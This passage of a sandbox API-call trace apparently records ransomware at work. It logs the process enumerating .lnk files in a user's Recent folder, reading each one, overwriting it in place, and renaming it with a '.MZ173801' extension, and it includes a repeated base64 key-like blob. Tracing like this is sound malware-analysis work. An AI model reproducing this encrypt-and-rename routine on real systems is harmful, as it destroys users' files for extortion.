cAlternateFileName="HXNZ4E~1.LNK")) returned 1 [0121.346] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.346] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HXnZ4EJpd91xeE75V.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hxnz4ejpd91xee75v.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf55f2c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf55f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf55f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf37)) returned 1 [0121.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HXnZ4EJpd91xeE75V.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hxnz4ejpd91xee75v.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.351] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.351] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.351] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf37 [0121.351] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.351] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf37, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf37, lpOverlapped=0x0) returned 1 [0121.352] CloseHandle (hObject=0x288) returned 1 [0121.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HXnZ4EJpd91xeE75V.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hxnz4ejpd91xee75v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.353] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf37, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf37, lpOverlapped=0x0) returned 1 [0121.354] CloseHandle (hObject=0x288) returned 1 [0121.356] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HXnZ4EJpd91xeE75V.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hxnz4ejpd91xee75v.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HXnZ4EJpd91xeE75V.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hxnz4ejpd91xee75v.lnk.mz173801")) returned 1 [0121.357] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf42e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hZVPYttjablu-QCRFYNk.lnk", cAlternateFileName="HZVPYT~1.LNK")) returned 1 [0121.357] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.357] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hZVPYttjablu-QCRFYNk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hzvpyttjablu-qcrfynk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf42e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x275)) returned 1 [0121.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hZVPYttjablu-QCRFYNk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hzvpyttjablu-qcrfynk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.361] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.361] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.362] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x275 [0121.362] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.362] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x275, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x275, lpOverlapped=0x0) returned 1 [0121.363] CloseHandle (hObject=0x288) returned 1 [0121.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hZVPYttjablu-QCRFYNk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hzvpyttjablu-qcrfynk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.364] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x275, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x275, lpOverlapped=0x0) returned 1 [0121.365] CloseHandle (hObject=0x288) returned 1 [0121.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hZVPYttjablu-QCRFYNk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hzvpyttjablu-qcrfynk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hZVPYttjablu-QCRFYNk.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js 